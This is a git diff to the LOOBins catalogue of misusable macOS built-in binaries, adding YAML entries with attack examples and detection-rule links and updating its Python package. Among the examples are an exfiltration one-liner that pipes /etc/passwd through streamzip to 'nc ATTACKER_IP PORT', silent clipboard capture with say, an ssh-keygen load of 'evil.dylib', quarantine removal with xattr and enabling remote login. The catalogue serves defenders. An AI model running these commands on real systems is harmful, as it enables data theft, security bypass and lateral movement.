+- name: 'Living-off-the-Land: Exploring macOS LOOBins and Crafting Detection Rules - pbpaste' + url: https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-b65 diff --git a/LOOBins/say.yml b/LOOBins/say.yml new file mode 100644 index 0000000..5eb9d2a --- /dev/null +++ b/LOOBins/say.yml @@ -0,0 +1,35 @@ +name: say +author: Pinar Sadioglu (@p_sadioglu) +short_description: Convert text to audible speech. +full_description: This tool uses the Speech Synthesis manager to convert input text to audible speech and either play it through the sound output device chosen in System Preferences or save it to an AIFF file. +created: 2023-11-17 +example_use_cases: +- name: Read sensitive data + description: The following command can read and process sensitive files and redirects the output to a file.. + code: say -f /home/user/sensitive-files -i > loot.txt; + tactics: + - Defense Evasion + - Collection + tags: + - bash +- name: Collect clipboard data + description: The command is designed to enhance privacy by muting the system volume,using a less recognizable "Whisper" voice with the "say" command, processing the copied text in the clipboard, and saving the output to a file named "loot.txt." + code: osascript -e 'set volume output muted true' ; say $(pbpaste) -i > loot.txt; + tactics: + - Defense Evasion + - Reconnaissance + - Discovery + - Collection + tags: + - pbpaste + - clipboard + - bash + - osascript +paths: +- /usr/bin/say +detections: +- name: No detection content available + url: N/A +resources: +- name: say man page + url: https://ss64.com/osx/say.html diff --git a/LOOBins/scutil.yml b/LOOBins/scutil.yml new file mode 100644 index 0000000..5eb4b1f --- /dev/null +++ b/LOOBins/scutil.yml @@ -0,0 +1,46 @@ +name: scutil +author: Ethan Nay +short_description: Display basic network information, check the dns config, set the computer hostname and perform several other tasks. +full_description: scutil provides a command line interface to the dynamic store data maintained by configd. Interaction with this data (using the SystemConfiguration.framework SCDynamicStore APIs) is handled with a set of commands read from standard input. +created: 2023-06-21 +example_use_cases: + - name: DNS configuration + description: Get the current DNS configuration of the systems + code: scutil --dns + tactics: + - Discovery + tags: + - network + - name: Proxy configuration + description: Get the current proxy configuration of the systems + code: scutil --proxy + tactics: + - Discovery + tags: + - network + - configuration + - name: Network reachability + description: Check if the destination host is reachable from your Mac + code: scutil -r { nodename | address | local-address remote-address } + tactics: + - Discovery + tags: + - network + - configuration + - name: Hostname, localhost name and computername + description: Display the current hostname, localhost name and computername + code: scutil --get { HostName | LocalHostName | ComputerName } + tactics: + - Discovery + tags: + - configuration +paths: + - /usr/bin/scutil +detections: + - name: No detections at time of publishing + url: N/A +resources: + - name: "macOS/binaries/scutil" + url: https://macosbin.com/bin/scutil + - name: "scutil man page" + url: https://ss64.com/osx/scutil.html diff --git a/LOOBins/security.yml b/LOOBins/security.yml index b1c13e7..996bdf8 100644 --- a/LOOBins/security.yml +++ b/LOOBins/security.yml @@ -38,6 +38,8 @@ detections: url: https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_dumping_keychain_security.toml - name: "Elastic: Keychain Password Retrieval via Command Line" url: https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_keychain_pwd_retrieval_security_cmd.toml + - name: "Jamf Protect: Detect Keychain dumping using security" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/keychain_dumped resources: - name: Using the OS X Keychain to store and retrieve passwords url: https://www.netmeister.org/blog/keychain-passwords.html diff --git a/LOOBins/sfltool.yml b/LOOBins/sfltool.yml new file mode 100644 index 0000000..235a472 --- /dev/null +++ b/LOOBins/sfltool.yml @@ -0,0 +1,32 @@ +name: sfltool +author: Eliott (@Koyiott) +short_description: Binary to manage the Shared File List framework. +full_description: sfltool allows interactions with the Shared File List framework, which can be used to modify application recent documents, favorites, and more. +created: 2023-09-12 +example_use_cases: +- name: Display Login Items + description: Identify all current login and background items configured on the system. + code: sfltool dumpbtm + tactics: + - Discovery + tags: + - bash + - startup +- name: Reset Login Items to Defaults + description: Reset all third-party Login Items and revert to installation defaults. + code: sfltool resetbtm + tactics: + - Defense Evasion + tags: + - bash + - system_reset +paths: + - /usr/bin/sfltool +detections: + - name: "Jamf Protect: Detect attempts to dump BTM or being reverted to installation defaults" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/sfltool_activity +resources: + - name: "sfltool man page" + url: https://www.unix.com/man-page/mojave/1/sfltool/ + - name: "Controlling login and background items" + url: https://eclecticlight.co/2023/02/15/controlling-login-and-background-items-in-ventura/ diff --git a/LOOBins/sqlite3.yml b/LOOBins/sqlite3.yml index 54f45f8..b49cd97 100644 --- a/LOOBins/sqlite3.yml +++ b/LOOBins/sqlite3.yml @@ -40,6 +40,8 @@ detections: url: https://github.com/elastic/detection-rules/blob/e9baebc2bc18f90ae16501613cd9521a16a38ad7/rules/macos/defense_evasion_privacy_controls_tcc_database_modification.toml - name: "Splunk Security Content: Suspicious SQLite3 LSQuarantine Behavior" url: https://github.com/splunk/security_content/blob/c65dda5c0aa73a97f28c49c20739971ec1ba18a6/dev/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml#L2 +- name: "Jamf Protect: Detect SQLite3 activity used to associated URLs with downloaded files" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/sqlite3_downloads resources: - name: TCC.db Modifier Script url: https://github.com/bp88/JSS-Scripts/blob/master/TCC.db%20Modifier.sh diff --git a/LOOBins/ssh-keygen.yml b/LOOBins/ssh-keygen.yml index f43dda1..2c9a6bf 100644 --- a/LOOBins/ssh-keygen.yml +++ b/LOOBins/ssh-keygen.yml @@ -1,7 +1,7 @@ name: ssh-keygen author: Leo Pitt (@_D00mfist) short_description: Load unsigned dynamic libraries into the ssh-keygen binary. -full_description: ssh-keygen is a tool for creating new authentication key pairs for SSH (Secure Shell). ssh-keygen holds the "com.apple.security.cs.disable-library-validation" entitlement and is capable of loading arbitary libraries without requiring signed code. +full_description: ssh-keygen is a tool for creating new authentication key pairs for SSH (Secure Shell). ssh-keygen holds the "com.apple.security.cs.disable-library-validation" entitlement and is capable of loading arbitrary libraries without requiring signed code. created: 2023-05-22 example_use_cases: - name: Execute malicious dynamic library (.dylib) from standard input @@ -9,6 +9,7 @@ example_use_cases: code: ssh-keygen -D /private/tmp/evil.dylib tactics: - Execution + - Defense Evasion tags: - dylib paths: diff --git a/LOOBins/streamzip.yml b/LOOBins/streamzip.yml new file mode 100644 index 0000000..9452c1a --- /dev/null +++ b/LOOBins/streamzip.yml @@ -0,0 +1,23 @@ +name: streamzip +author: Gabriel De Jesus (0xv1n) +short_description: File-less compression of data passed in through stdin. +full_description: streamzip is a system utility that can be utilized to compress data from "stdin" and write the data directly to "stdout", no temporary files are created. The tool can be used by malicious actors to collect and exfiltrate sensitive data without leaving staged data archive artifacts on disk. +created: 2024-07-15 +example_use_cases: + - name: Copy and compress sensitive data locally + description: The following command reads file data and compresses the data for exfiltration + code: dd if=/etc/passwd | streamzip - stream | nc ATTACKER_IP PORT + tactics: + - Collection + - Exfiltration + tags: + - files + - compress +paths: + - /usr/bin/streamzip +detections: + - name: No detection content at time of writing + url: N/A +resources: + - name: streamzip man page + url: https://docs.oracle.com/cd/E88353_01/html/E37839/streamzip-1.html diff --git a/LOOBins/sw_vers.yml b/LOOBins/sw_vers.yml new file mode 100644 index 0000000..7e66bb3 --- /dev/null +++ b/LOOBins/sw_vers.yml @@ -0,0 +1,48 @@ +name: sw_vers +author: Eliott (@Koyiott) +short_description: Prints macOS version information. +full_description: sw_vers prints macOS version information, including the exact macOS version number. +created: 2023-09-11 +example_use_cases: + - name: Retrieving macOS Version Information + description: Fetch detailed macOS version information including the build version, product name, and product version. + code: sw_vers + tactics: + - Discovery + tags: + - bash + - configuration + - name: Retrieving macOS Product Version + description: Fetch macOS product version. + code: sw_vers -productVersion + tactics: + - Discovery + tags: + - bash + - configuration + - name: Retrieving macOS Product Name + description: Fetch detailed macOS product name. + code: sw_vers -productName + tactics: + - Discovery + tags: + - bash + - configuration + - name: Retrieving macOS Build Version + description: Fetch detailed macOS build version. + code: sw_vers -buildVersion + tactics: + - Discovery + tags: + - bash + - configuration +paths: + - /usr/bin/sw_vers +detections: + - name: No detections at time of publishing + url: N/A +resources: + - name: "macOS/binaries/sw_vers" + url: https://macosbin.com/bin/sw_vers + - name: "sw_vers man page" + url: https://ss64.com/osx/sw_vers.html diff --git a/LOOBins/swift.yml b/LOOBins/swift.yml new file mode 100644 index 0000000..24a3895 --- /dev/null +++ b/LOOBins/swift.yml @@ -0,0 +1,56 @@ +name: swift +author: 0v3rride (https://github.com/0v3rride) +short_description: Arbitrarily execute swift code from the terminal. +full_description: The swift command is an interactive environment (REPL) for Swift. +created: 2023-12-23 +example_use_cases: + - name: Execute Swift code file + description: Executes the Swift code that is in a .swift file + code: swift mycode.swift + tactics: + - Execution + tags: + - swift + - repl + - bash + - zsh + - name: Execute Swift one-liner before swift 5.8 / Xcode 14.3 Beta 1 + description: Executes a Swift one-liner by piping an echoed string into the swift command + code: echo 'print("loobins")' | swift - + tactics: + - Execution + - Defense Evasion + tags: + - swift + - repl + - bash + - zsh + - name: Execute Swift one-liner with swift 5.8 / Xcode 14.3 Beta 1 or greater + description: Executes a Swift one-liner that executes the ls command to list the current directory using the -e option that was implemented in swift 5.8 / Xcode 14.3 Beta 1 + code: "swift -e 'import Foundation; let process = Process(); process.executableURL = URL(fileURLWithPath:\"/bin/bash\"); process.arguments = [\"-c\", \"ls -alh\"]; let stdout = Pipe(); let stderr = Pipe(); process.standardOutput = stdout; process.standardError = stderr; try process.run(); print(String(decoding: stdout.fileHandleForReading.readDataToEndOfFile(), as: UTF8.self)); print(String(decoding: stderr.fileHandleForReading.readDataToEndOfFile(), as: UTF8.self));'" + tactics: + - Execution + - Defense Evasion + tags: + - swift + - repl + - bash + - zsh +paths: + - /usr/bin/swift +detections: + - name: Process & Command Line Argument Detection (process contains swift) + url: N/A + - name: "Jamf Protect: Detect arbitrary code execution using a swift one-liner" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/swift_oneline_command_execution +resources: + - name: 'Introduction to the Swift REPL' + url: https://developer.apple.com/swift/blog/?id=18 + - name: 'Scripting and Compiling Swift on the Command Line' + url: https://jblevins.org/log/swift + - name: 'Scripting in Swift is Pretty Awesome' + url: https://krakendev.io/blog/scripting-in-swift + - name: 'Swift -e runs code directly from the command line' + url: https://blog.eidinger.info/swift-e-runs-code-directly-from-the-command-line + - name: 'Swift Programming From The Command Line' + url: https://ed.com/command-line-swift/ diff --git a/LOOBins/sysctl.yml b/LOOBins/sysctl.yml index a2270fa..c53c9c8 100644 --- a/LOOBins/sysctl.yml +++ b/LOOBins/sysctl.yml @@ -8,7 +8,7 @@ example_use_cases: description: sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc. code: sysctl -n hw.model tactics: - - Reconnaissance + - Discovery tags: - bash - oneliner @@ -16,8 +16,8 @@ example_use_cases: paths: - /usr/sbin/sysctl detections: -- name: No detections at time of publishing - url: N/A +- name: "Jamf Protect: Detect activity related to sysctl in an interactive shell" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/sysctl_activity resources: - name: 'Evasions: macOS' - url: https://evasions.checkpoint.com/techniques/macos.html + url: https://evasions.checkpoint.com/src/MacOS/macos.html diff --git a/LOOBins/system_profiler.yml b/LOOBins/system_profiler.yml new file mode 100644 index 0000000..dad84f3 --- /dev/null +++ b/LOOBins/system_profiler.yml @@ -0,0 +1,58 @@ +name: system_profiler +author: Ethan Nay +short_description: Reports system hardware and software configuration. +full_description: system_profiler reports on the hardware and software configuration of the system. It can generate plain text reports or XML reports which can be opened with System Information.app +created: 2023-07-12 +example_use_cases: + - name: Listing the available datatypes + description: List all available sub-systems to get information from. + code: system_profiler -listDataTypes + tactics: + - Discovery + tags: + - bash + - zsh + - name: Print hardware information + description: Prints an overview of the hardware of the current machine, including its model name and serial number. + code: system_profiler SPHardwareDataType + tactics: + - Discovery + tags: + - bash + - zsh + - name: Print software information + description: Prints an overview of the software of the current machine, including the exact macOS version number. + code: system_profiler SPSoftwareDataType + tactics: + - Discovery + tags: + - bash + - zsh + - name: Print the information of developer tools + description: Prints the currently active version of the Xcode developer tools and SDK. + code: system_profiler SPDeveloperToolsDataType + tactics: + - Discovery + tags: + - bash + - zsh + - name: Print power and battery information + description: Prints power and battery information, including the current AC wattage and battery cycle count. + code: system_profiler SPPowerDataType + tactics: + - Discovery + tags: + - bash + - zsh +paths: + - /usr/sbin/system_profiler +detections: + - name: System Information Discovery Using System_Profiler + url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_system_profiler_discovery.yml + - name: "Jamf Protect: Detect system_profiler activity that gathers system information" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/system_profiler_activity +resources: + - name: "macOS/binaries/system_profiler" + url: https://macosbin.com/bin/system_profiler + - name: "system_profiler man page" + url: https://ss64.com/osx/system_profiler.html diff --git a/LOOBins/systemsetup.yml b/LOOBins/systemsetup.yml new file mode 100644 index 0000000..6fc52d2 --- /dev/null +++ b/LOOBins/systemsetup.yml @@ -0,0 +1,37 @@ +name: systemsetup +author: Hare Sudhan (@cyb3rbuff) +short_description: Enable remote login, remote apple events for the machine +full_description: | + systemsetup configures certain per-machine settings typically configured in the System Preferences application. + The systemsetup command requires at least "admin" privileges to run. +created: 2023-08-31 +example_use_cases: + - name: Enable Remote Login + description: systemsetup can be used to enable SSH for remote login + code: | + sudo systemsetup -setremotelogin on + tactics: + - "Lateral Movement" + tags: + - ssh + - configuration + - name: Enable Remote Apple Events + description: | + systemsetup can be used to enable Remote Apple Events. + Set whether the system responds to events sent by other computers (such as AppleScripts). + code: | + sudo systemsetup -setremoteappleevents on + tactics: + - "Lateral Movement" + tags: + - configuration +paths: + - /usr/sbin/systemsetup +detections: + - name: Command line argument detection containing (args contain systemsetup AND (-setremoteappleevents OR -setremotelogin) AND on) + url: https://www.elastic.co/guide/en/security/current/remote-ssh-login-enabled-via-systemsetup-command.html + - name: "Jamf Protect: Detect systemsetup activity that enables remotelogin or appleremoteevents" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/systemsetup_activity +resources: + - name: "systemsetup man page" + url: https://ss64.com/osx/systemsetup.html diff --git a/LOOBins/tmutil.yml b/LOOBins/tmutil.yml index 3537a0d..47bcf48 100644 --- a/LOOBins/tmutil.yml +++ b/LOOBins/tmutil.yml @@ -55,8 +55,18 @@ example_use_cases: paths: - /usr/bin/tmutil detections: -- name: No detection content available - url: N/A +- name: "Jamf Protect: Detect the deletion of localsnapshots" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/tmutil_activity +- name: "Sigma: Time Machine Backup Deletion Attempt Via Tmutil - MacOS" + url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_delete_backup.yml +- name: "Sigma: Time Machine Backup Disabled Via Tmutil - MacOS" + url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_disable_backup.yml +- name: "Sigma: New File Exclusion Added To Time Machine Via Tmutil - MacOS" + url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_exclude_file_from_backup.yml resources: - name: mount_apfs TCC bypass and privilege escalation url: https://theevilbit.github.io/posts/cve_2020_9771/ +- name: "Manage Time Machine backups" + url: https://github.molgen.mpg.de/pages/bs/macOSnotes/mac/mac_files_tmutil.html +- name: "Living-off-the-Land: Exploring macOS LOOBins and Crafting Detection Rules - tmutil" + url: https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-0fd diff --git a/LOOBins/xattr.yml b/LOOBins/xattr.yml index 433e4cd..b3b53ee 100644 --- a/LOOBins/xattr.yml +++ b/LOOBins/xattr.yml @@ -9,7 +9,6 @@ example_use_cases: code: xattr -d com.apple.quarantine FILE tactics: - Execution - - Privilege Escalation - Defense Evasion tags: - xattr @@ -19,7 +18,6 @@ example_use_cases: code: xattr -d -r com.apple.quarantine * tactics: - Execution - - Privilege Escalation - Defense Evasion tags: - xattr @@ -29,6 +27,8 @@ paths: detections: - name: Gatekeeper Bypass via Xattr url: https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml +- name: "Jamf Protect: Detect activity related to xattr and extended attributes" + url: https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/xattr_extended_attributes_activity resources: - name: 'Threat Hunting the macOS edition Megan Carney (Report)' url: https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf diff --git a/pyproject.toml b/pyproject.toml index 4d3e8a3..715c8a3 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "PyLOOBins" -version = "1.0.0" +version = "1.7.2" description = "Python package for managing the LOOBins model and schema." authors = ["infosecB ", "0xv1n <0xv1n@protonmail.com>"] readme = "docs/pyloobins/README.md" @@ -13,7 +13,7 @@ license = "GPL-3.0-or-later" [tool.poetry.dependencies] python = "^3.8" -pydantic = "^1.10.5" +pydantic = "^2" pyyaml = "^6.0" click = "^8.1.3" jinja2 = "^3.1.2" @@ -43,7 +43,7 @@ disable = ['no-name-in-module', 'too-few-public-methods'] legacy_tox_ini = """ [tox] env_list = - py38,py39,py310,py311 + py38,py39,py310,py311,py312 minversion = 4.5.1 [testenv] diff --git a/src/pyloobins/cli.py b/src/pyloobins/cli.py index 2e417b3..9915a9e 100644 --- a/src/pyloobins/cli.py +++ b/src/pyloobins/cli.py @@ -8,6 +8,7 @@ @click.group() +@click.version_option(prog_name="PyLOOBins") def cli(): """Create, validate, and view LOOBin objects.""" @@ -74,7 +75,7 @@ def get(name: str, path: str = "") -> None: if len(res) == 0: print(f"No LOOBin found for {name}.") else: - print(res[0].json(indent=True, exclude_none=True)) + print(res[0].model_dump_json(indent=True, exclude_none=True)) if __name__ == "__main__": diff --git a/src/pyloobins/models.py b/src/pyloobins/models.py index 4d7d188..a4f1974 100644 --- a/src/pyloobins/models.py +++ b/src/pyloobins/models.py @@ -5,7 +5,7 @@ import yaml from jinja2 import Environment, PackageLoader, select_autoescape -from pydantic import BaseModel, Field +from pydantic import BaseModel, Field, RootModel from pydantic_factories import ModelFactory @@ -79,9 +79,12 @@ class LOOBin(BaseModel): resources: Optional[List[Resource]] = Field( title="Resource", description="A list of useful resources for the LOOBin", + default=None, ) acknowledgements: Optional[List[str]] = Field( - title="Acknowledgements", description="Acknowledgements for the LOOBin" + title="Acknowledgements", + description="Acknowledgements for the LOOBin", + default=None, ) def combine_tactics(self) -> List[str]: @@ -109,7 +112,7 @@ def combine_tags(self) -> List[str]: def to_yaml(self, exclude_null: bool = True) -> str: """Convert a LOOBin object to a YAML string""" return yaml.dump( - self.dict(exclude_none=exclude_null), + self.model_dump(exclude_none=exclude_null), Dumper=yaml.Dumper, sort_keys=False, ) @@ -135,7 +138,7 @@ def __repr__(self) -> str: return self.to_yaml() -class LOOBinsGroup(BaseModel): +class LOOBinsGroup(RootModel[List[str]]): """LOOBin list base class""" __root__: List[LOOBin] = Field(title="LOOBins", description="A list of LOOBins") diff --git a/src/pyloobins/util.py b/src/pyloobins/util.py index 3a93b1a..7d2b35e 100644 --- a/src/pyloobins/util.py +++ b/src/pyloobins/util.py @@ -6,7 +6,7 @@ import yaml import pyloobins -from .models import Detection, ExampleUseCase, LOOBin, Resource +from pyloobins.models import Detection, ExampleUseCase, LOOBin, Resource def get_loobins(path: str = "") -> list: diff --git a/tests/test_models.py b/tests/test_models.py index fbd3ebe..c487ae9 100644 --- a/tests/test_models.py +++ b/tests/test_models.py @@ -91,4 +91,4 @@ def test_loobin_group(): ], acknowledgements=["Enter any acknowledgements here."], ) - assert LOOBinsGroup(__root__=[loobin]) + assert LOOBinsGroup(root=[loobin]) diff --git a/tests/test_util.py b/tests/test_util.py index 3d82216..c04a361 100644 --- a/tests/test_util.py +++ b/tests/test_util.py @@ -7,7 +7,7 @@ def test_get_loobins(): """Test the get_loobins function.""" - assert get_loobins() + assert len(get_loobins(path="./LOOBins")) > 0 def test_make_template():